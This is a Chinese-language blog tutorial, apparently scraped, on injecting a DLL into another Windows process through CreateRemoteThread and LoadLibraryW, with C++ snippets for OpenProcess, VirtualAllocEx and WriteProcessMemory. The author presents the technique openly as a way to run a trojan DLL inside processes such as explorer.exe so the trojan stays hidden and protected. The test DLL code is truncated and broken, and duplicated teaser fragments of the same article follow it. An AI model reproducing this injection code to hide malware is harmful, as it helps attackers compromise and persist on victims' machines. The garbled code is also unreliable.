用Visual C 實現遠端執行緒嵌入技術

2021-06-01 03:23:41 字數 2357 閱讀 2253

遠端執行緒技術指的是通過在另乙個程序中建立遠端執行緒的方法進入那個程序的記憶體位址空間。我們知道,在程序中,可以通過createthread函式建立執行緒,被建立的新執行緒與主線程(就是程序啟動時被同時自動建立的那個執行緒)共享位址空間以及其他的資源。 但是很少有人知道,通過createremotethread也同樣可以在另乙個程序內建立新執行緒,被建立的遠端執行緒同樣可以共享遠端程序(是遠端程序耶!)的位址空間,所以,實際上,我們通過乙個遠端執行緒,進入了遠端程序的記憶體位址空間,也就擁有了那個遠端程序相當的許可權。例如在遠端程序內部啟動乙個dll木馬(與進入程序內部相比,啟動乙個dll木馬是小意思,實際上我們可以隨意篡改那個遠端程序的資料)。

首先,我們通過openprocess 來開啟我們試圖嵌入的程序(如果遠端程序不允許開啟,那麼嵌入就無法進行了,這往往是由於許可權不足引起的,解決方法是通過種種途徑提公升本地程序的許可權) 

hremoteprocess = openprocess( process_create_thread | file://允許遠端建立執行緒 

process_vm_operation | file://允許遠端vm操作 

process_vm_write,//允許遠端vm寫 

false, dwremoteprocessid )

由於我們後面需要寫入遠端程序的記憶體位址空間並建立遠端執行緒,所以需要申請足夠的許可權(process_create_thread、vm_operation、vm_write)。 

然後,我們可以建立loadlibraryw函式這個執行緒來啟動我們的dll木馬,loadlibraryw函式是在kernel32.dll中定義的,用來載入dll檔案,它只有乙個引數,就是dll檔案的絕對路徑名pszlibfilename,(也就是木馬dll的全路徑檔名),但是由於木馬dll是在遠端程序內呼叫的,所以我們首先還需要將這個檔名複製到遠端位址空間:(否則遠端執行緒是無法讀到這個引數的) 

file://計算dll路徑名需要的記憶體空間 

int cb = (1 + lstrlenw(pszlibfilename)) * sizeof(wchar); 

file://使用virtualallocex函式在遠端程序的記憶體位址空間分配dll檔名緩衝區 

pszlibfileremote = (pwstr) virtualallocex( hremoteprocess, null, cb, 

mem_commit, page_readwrite); 

file://使用writeprocessmemory函式將dll的路徑名複製到遠端程序的記憶體空間 

ireturncode = writeprocessmemory(hremoteprocess, 

pszlibfileremote, (pvoid) pszlibfilename, cb, null); 

file://計算loadlibraryw的入口位址 

pthread_start_routine pfnstartaddr = (pthread_start_routine) 

getprocaddress(getmodulehandle(text("kernel32")), "loadlibraryw");

萬事俱備,我們通過建立遠端執行緒時的位址pfnstartaddr(實際上就是loadlibraryw的入口位址)和傳遞的引數pszlibfileremote(實際上是我們複製過去的木馬dll的全路徑檔名)在遠端程序內啟動我們的木馬dll: 

file://啟動遠端執行緒loadlibraryw,通過遠端執行緒呼叫使用者的dll檔案 

hremotethread = createremotethread( hremoteprocess, null, 0, 

pfnstartaddr, pszlibfileremote, 0, null);

至此,遠端嵌入順利完成,為了試驗我們的dll是不是已經正常的在遠端執行緒執行,我編寫了以下的測試dll: 

bool apientry dllmain(handle hmodule, dword reason, lpvoid lpreserved) 

default: 

return true; } }

當我使用rmtdll.exe

程式將這個testdll.dll嵌入explorer.exe程序後(pid=1208),該測試dll彈出了1208字樣的確認框,同時使用ps工具也能看到 

process id: 1208 

c:\winnt\explorer.exe (0x00400000) 

…… c:\testdll.dll (0x100000000) ……

這證明testdll.dll已經在explorer.exe程序內正確地執行了。 

無論是使用特洛伊dll還是使用遠端執行緒,都是讓木馬的核心**執行於別的程序的記憶體空間,這樣不僅能很好地隱藏自己,也能更好的保護自己。

用Visual C 實現遠端執行緒嵌入技術

遠端執行緒技術指的是通過在另乙個程序中建立遠端執行緒的方法進入那個程序的記憶體位址空間。我們知道,在程序中,可以通過createthread函式建立執行緒,被建立的新執行緒與主線程 就是程序啟動時被同時自動建立的那個執行緒 共享位址空間以及其他的資源。但是很少有人知道,通過createremotet...

用visual c 實現遠端執行緒嵌入技術

遠端執行緒技術指的是通過在另乙個程序中建立遠端執行緒的方法進入那個程序的記憶體位址空間。我們知道,在程序中,可以通過createthread函式建立執行緒,被建立的新執行緒與主線程 就是程序啟動時被同時自動建立的那個執行緒 共享位址空間以及其他的資源。但是很少有人知道,通過createremotet...

用Visual C 實現遠端執行緒嵌入技術

用visual c 實現遠端執行緒嵌入技術 遠端執行緒技術指的是通過在另乙個程序中建立遠端執行緒的方法進入那個程序的記憶體位址空間。我們知道,在程序中,可以通過createthread函式建立執行緒,被建立的新執行緒與主線程 就是程序啟動時被同時自動建立的那個執行緒 共享位址空間以及其他的資源。但是...